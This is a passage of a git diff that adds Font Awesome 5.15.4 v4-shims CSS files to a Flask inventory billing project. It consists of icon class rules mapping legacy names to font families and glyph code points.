font-weight: 400; } + +.fa.fa-file-image-o:before { + content: "\f1c5"; } + +.fa.fa-file-photo-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-file-photo-o:before { + content: "\f1c5"; } + +.fa.fa-file-picture-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-file-picture-o:before { + content: "\f1c5"; } + +.fa.fa-file-archive-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-file-archive-o:before { + content: "\f1c6"; } + +.fa.fa-file-zip-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-file-zip-o:before { + content: "\f1c6"; } + +.fa.fa-file-audio-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-file-audio-o:before { + content: "\f1c7"; } + +.fa.fa-file-sound-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-file-sound-o:before { + content: "\f1c7"; } + +.fa.fa-file-video-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-file-video-o:before { + content: "\f1c8"; } + +.fa.fa-file-movie-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-file-movie-o:before { + content: "\f1c8"; } + +.fa.fa-file-code-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-file-code-o:before { + content: "\f1c9"; } + +.fa.fa-vine { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-codepen { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-jsfiddle { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-life-ring { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-life-bouy { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-life-bouy:before { + content: "\f1cd"; } + +.fa.fa-life-buoy { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-life-buoy:before { + content: "\f1cd"; } + +.fa.fa-life-saver { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-life-saver:before { + content: "\f1cd"; } + +.fa.fa-support { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-support:before { + content: "\f1cd"; } + +.fa.fa-circle-o-notch:before { + content: "\f1ce"; } + +.fa.fa-rebel { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-ra { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-ra:before { + content: "\f1d0"; } + +.fa.fa-resistance { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-resistance:before { + content: "\f1d0"; } + +.fa.fa-empire { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-ge { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-ge:before { + content: "\f1d1"; } + +.fa.fa-git-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-git { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-hacker-news { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-y-combinator-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-y-combinator-square:before { + content: "\f1d4"; } + +.fa.fa-yc-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-yc-square:before { + content: "\f1d4"; } + +.fa.fa-tencent-weibo { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-qq { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-weixin { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-wechat { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-wechat:before { + content: "\f1d7"; } + +.fa.fa-send:before { + content: "\f1d8"; } + +.fa.fa-paper-plane-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-paper-plane-o:before { + content: "\f1d8"; } + +.fa.fa-send-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-send-o:before { + content: "\f1d8"; } + +.fa.fa-circle-thin { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-circle-thin:before { + content: "\f111"; } + +.fa.fa-header:before { + content: "\f1dc"; } + +.fa.fa-sliders:before { + content: "\f1de"; } + +.fa.fa-futbol-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-futbol-o:before { + content: "\f1e3"; } + +.fa.fa-soccer-ball-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-soccer-ball-o:before { + content: "\f1e3"; } + +.fa.fa-slideshare { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-twitch { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-yelp { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-newspaper-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-newspaper-o:before { + content: "\f1ea"; } + +.fa.fa-paypal { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-google-wallet { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-cc-visa { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-cc-mastercard { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-cc-discover { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-cc-amex { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-cc-paypal { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-cc-stripe { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-bell-slash-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-bell-slash-o:before { + content: "\f1f6"; } + +.fa.fa-trash:before { + content: "\f2ed"; } + +.fa.fa-copyright { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-eyedropper:before { + content: "\f1fb"; } + +.fa.fa-area-chart:before { + content: "\f1fe"; } + +.fa.fa-pie-chart:before { + content: "\f200"; } + +.fa.fa-line-chart:before { + content: "\f201"; } + +.fa.fa-lastfm { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-lastfm-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-ioxhost { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-angellist { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-cc { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-cc:before { + content: "\f20a"; } + +.fa.fa-ils:before { + content: "\f20b"; } + +.fa.fa-shekel:before { + content: "\f20b"; } + +.fa.fa-sheqel:before { + content: "\f20b"; } + +.fa.fa-meanpath { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-meanpath:before { + content: "\f2b4"; } + +.fa.fa-buysellads { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-connectdevelop { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-dashcube { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-forumbee { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-leanpub { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-sellsy { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-shirtsinbulk { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-simplybuilt { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-skyatlas { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-diamond { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-diamond:before { + content: "\f3a5"; } + +.fa.fa-intersex:before { + content: "\f224"; } + +.fa.fa-facebook-official { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-facebook-official:before { + content: "\f09a"; } + +.fa.fa-pinterest-p { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-whatsapp { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-hotel:before { + content: "\f236"; } + +.fa.fa-viacoin { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-medium { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-y-combinator { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-yc { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-yc:before { + content: "\f23b"; } + +.fa.fa-optin-monster { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-opencart { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-expeditedssl { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-battery-4:before { + content: "\f240"; } + +.fa.fa-battery:before { + content: "\f240"; } + +.fa.fa-battery-3:before { + content: "\f241"; } + +.fa.fa-battery-2:before { + content: "\f242"; } + +.fa.fa-battery-1:before { + content: "\f243"; } + +.fa.fa-battery-0:before { + content: "\f244"; } + +.fa.fa-object-group { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-object-ungroup { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-sticky-note-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-sticky-note-o:before { + content: "\f249"; } + +.fa.fa-cc-jcb { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-cc-diners-club { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-clone { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-hourglass-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-hourglass-o:before { + content: "\f254"; } + +.fa.fa-hourglass-1:before { + content: "\f251"; } + +.fa.fa-hourglass-2:before { + content: "\f252"; } + +.fa.fa-hourglass-3:before { + content: "\f253"; } + +.fa.fa-hand-rock-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-hand-rock-o:before { + content: "\f255"; } + +.fa.fa-hand-grab-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-hand-grab-o:before { + content: "\f255"; } + +.fa.fa-hand-paper-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-hand-paper-o:before { + content: "\f256"; } + +.fa.fa-hand-stop-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-hand-stop-o:before { + content: "\f256"; } + +.fa.fa-hand-scissors-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-hand-scissors-o:before { + content: "\f257"; } + +.fa.fa-hand-lizard-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-hand-lizard-o:before { + content: "\f258"; } + +.fa.fa-hand-spock-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-hand-spock-o:before { + content: "\f259"; } + +.fa.fa-hand-pointer-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-hand-pointer-o:before { + content: "\f25a"; } + +.fa.fa-hand-peace-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-hand-peace-o:before { + content: "\f25b"; } + +.fa.fa-registered { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-creative-commons { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-gg { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-gg-circle { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-tripadvisor { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-odnoklassniki { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-odnoklassniki-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-get-pocket { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-wikipedia-w { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-safari { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-chrome { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-firefox { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-opera { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-internet-explorer { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-television:before { + content: "\f26c"; } + +.fa.fa-contao { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-500px { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-amazon { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-calendar-plus-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-calendar-plus-o:before { + content: "\f271"; } + +.fa.fa-calendar-minus-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-calendar-minus-o:before { + content: "\f272"; } + +.fa.fa-calendar-times-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-calendar-times-o:before { + content: "\f273"; } + +.fa.fa-calendar-check-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-calendar-check-o:before { + content: "\f274"; } + +.fa.fa-map-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-map-o:before { + content: "\f279"; } + +.fa.fa-commenting:before { + content: "\f4ad"; } + +.fa.fa-commenting-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-commenting-o:before { + content: "\f4ad"; } + +.fa.fa-houzz { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-vimeo { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-vimeo:before { + content: "\f27d"; } + +.fa.fa-black-tie { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-fonticons { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-reddit-alien { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-edge { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-credit-card-alt:before { + content: "\f09d"; } + +.fa.fa-codiepie { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-modx { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-fort-awesome { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-usb { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-product-hunt { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-mixcloud { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-scribd { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-pause-circle-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-pause-circle-o:before { + content: "\f28b"; } + +.fa.fa-stop-circle-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-stop-circle-o:before { + content: "\f28d"; } + +.fa.fa-bluetooth { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-bluetooth-b { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-gitlab { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-wpbeginner { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-wpforms { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-envira { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-wheelchair-alt { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-wheelchair-alt:before { + content: "\f368"; } + +.fa.fa-question-circle-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-question-circle-o:before { + content: "\f059"; } + +.fa.fa-volume-control-phone:before { + content: "\f2a0"; } + +.fa.fa-asl-interpreting:before { + content: "\f2a3"; } + +.fa.fa-deafness:before { + content: "\f2a4"; } + +.fa.fa-hard-of-hearing:before { + content: "\f2a4"; } + +.fa.fa-glide { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-glide-g { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-signing:before { + content: "\f2a7"; } + +.fa.fa-viadeo { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-viadeo-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-snapchat { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-snapchat-ghost { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-snapchat-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-pied-piper { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-first-order { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-yoast { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-themeisle { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-google-plus-official { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-google-plus-official:before { + content: "\f2b3"; } + +.fa.fa-google-plus-circle { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-google-plus-circle:before { + content: "\f2b3"; } + +.fa.fa-font-awesome { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-fa { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-fa:before { + content: "\f2b4"; } + +.fa.fa-handshake-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-handshake-o:before { + content: "\f2b5"; } + +.fa.fa-envelope-open-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-envelope-open-o:before { + content: "\f2b6"; } + +.fa.fa-linode { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-address-book-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-address-book-o:before { + content: "\f2b9"; } + +.fa.fa-vcard:before { + content: "\f2bb"; } + +.fa.fa-address-card-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-address-card-o:before { + content: "\f2bb"; } + +.fa.fa-vcard-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-vcard-o:before { + content: "\f2bb"; } + +.fa.fa-user-circle-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-user-circle-o:before { + content: "\f2bd"; } + +.fa.fa-user-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-user-o:before { + content: "\f007"; } + +.fa.fa-id-badge { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-drivers-license:before { + content: "\f2c2"; } + +.fa.fa-id-card-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-id-card-o:before { + content: "\f2c2"; } + +.fa.fa-drivers-license-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-drivers-license-o:before { + content: "\f2c2"; } + +.fa.fa-quora { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-free-code-camp { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-telegram { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-thermometer-4:before { + content: "\f2c7"; } + +.fa.fa-thermometer:before { + content: "\f2c7"; } + +.fa.fa-thermometer-3:before { + content: "\f2c8"; } + +.fa.fa-thermometer-2:before { + content: "\f2c9"; } + +.fa.fa-thermometer-1:before { + content: "\f2ca"; } + +.fa.fa-thermometer-0:before { + content: "\f2cb"; } + +.fa.fa-bathtub:before { + content: "\f2cd"; } + +.fa.fa-s15:before { + content: "\f2cd"; } + +.fa.fa-window-maximize { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-window-restore { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-times-rectangle:before { + content: "\f410"; } + +.fa.fa-window-close-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-window-close-o:before { + content: "\f410"; } + +.fa.fa-times-rectangle-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-times-rectangle-o:before { + content: "\f410"; } + +.fa.fa-bandcamp { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-grav { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-etsy { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-imdb { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-ravelry { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-eercast { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-eercast:before { + content: "\f2da"; } + +.fa.fa-snowflake-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-snowflake-o:before { + content: "\f2dc"; } + +.fa.fa-superpowers { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-wpexplorer { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-cab:before { + content: "\f1ba"; } diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/v4-shims.min.css b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/v4-shims.min.css new file mode 100644 index 00000000..21a0708a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/v4-shims.min.css @@ -0,0 +1,5 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +.fa.fa-glass:before{content:"\f000"}.fa.fa-meetup{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-star-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-star-o:before{content:"\f005"}.fa.fa-close:before,.fa.fa-remove:before{content:"\f00d"}.fa.fa-gear:before{content:"\f013"}.fa.fa-trash-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-trash-o:before{content:"\f2ed"}.fa.fa-file-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-file-o:before{content:"\f15b"}.fa.fa-clock-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-clock-o:before{content:"\f017"}.fa.fa-arrow-circle-o-down{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-arrow-circle-o-down:before{content:"\f358"}.fa.fa-arrow-circle-o-up{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-arrow-circle-o-up:before{content:"\f35b"}.fa.fa-play-circle-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-play-circle-o:before{content:"\f144"}.fa.fa-repeat:before,.fa.fa-rotate-right:before{content:"\f01e"}.fa.fa-refresh:before{content:"\f021"}.fa.fa-list-alt{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-dedent:before{content:"\f03b"}.fa.fa-video-camera:before{content:"\f03d"}.fa.fa-picture-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-picture-o:before{content:"\f03e"}.fa.fa-photo{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-photo:before{content:"\f03e"}.fa.fa-image{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-image:before{content:"\f03e"}.fa.fa-pencil:before{content:"\f303"}.fa.fa-map-marker:before{content:"\f3c5"}.fa.fa-pencil-square-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-pencil-square-o:before{content:"\f044"}.fa.fa-share-square-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-share-square-o:before{content:"\f14d"}.fa.fa-check-square-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-check-square-o:before{content:"\f14a"}.fa.fa-arrows:before{content:"\f0b2"}.fa.fa-times-circle-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-times-circle-o:before{content:"\f057"}.fa.fa-check-circle-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-check-circle-o:before{content:"\f058"}.fa.fa-mail-forward:before{content:"\f064"}.fa.fa-expand:before{content:"\f424"}.fa.fa-compress:before{content:"\f422"}.fa.fa-eye,.fa.fa-eye-slash{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-warning:before{content:"\f071"}.fa.fa-calendar:before{content:"\f073"}.fa.fa-arrows-v:before{content:"\f338"}.fa.fa-arrows-h:before{content:"\f337"}.fa.fa-bar-chart{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-bar-chart:before{content:"\f080"}.fa.fa-bar-chart-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-bar-chart-o:before{content:"\f080"}.fa.fa-facebook-square,.fa.fa-twitter-square{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-gears:before{content:"\f085"}.fa.fa-thumbs-o-up{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-thumbs-o-up:before{content:"\f164"}.fa.fa-thumbs-o-down{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-thumbs-o-down:before{content:"\f165"}.fa.fa-heart-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-heart-o:before{content:"\f004"}.fa.fa-sign-out:before{content:"\f2f5"}.fa.fa-linkedin-square{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-linkedin-square:before{content:"\f08c"}.fa.fa-thumb-tack:before{content:"\f08d"}.fa.fa-external-link:before{content:"\f35d"}.fa.fa-sign-in:before{content:"\f2f6"}.fa.fa-github-square{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-lemon-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-lemon-o:before{content:"\f094"}.fa.fa-square-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-square-o:before{content:"\f0c8"}.fa.fa-bookmark-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-bookmark-o:before{content:"\f02e"}.fa.fa-facebook,.fa.fa-twitter{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-facebook:before{content:"\f39e"}.fa.fa-facebook-f{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-facebook-f:before{content:"\f39e"}.fa.fa-github{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-credit-card{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-feed:before{content:"\f09e"}.fa.fa-hdd-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-hdd-o:before{content:"\f0a0"}.fa.fa-hand-o-right{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-hand-o-right:before{content:"\f0a4"}.fa.fa-hand-o-left{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-hand-o-left:before{content:"\f0a5"}.fa.fa-hand-o-up{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-hand-o-up:before{content:"\f0a6"}.fa.fa-hand-o-down{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-hand-o-down:before{content:"\f0a7"}.fa.fa-arrows-alt:before{content:"\f31e"}.fa.fa-group:before{content:"\f0c0"}.fa.fa-chain:before{content:"\f0c1"}.fa.fa-scissors:before{content:"\f0c4"}.fa.fa-files-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-files-o:before{content:"\f0c5"}.fa.fa-floppy-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-floppy-o:before{content:"\f0c7"}.fa.fa-navicon:before,.fa.fa-reorder:before{content:"\f0c9"}.fa.fa-google-plus,.fa.fa-google-plus-square,.fa.fa-pinterest,.fa.fa-pinterest-square{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-google-plus:before{content:"\f0d5"}.fa.fa-money{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-money:before{content:"\f3d1"}.fa.fa-unsorted:before{content:"\f0dc"}.fa.fa-sort-desc:before{content:"\f0dd"}.fa.fa-sort-asc:before{content:"\f0de"}.fa.fa-linkedin{font-family:"Font Awesome 5 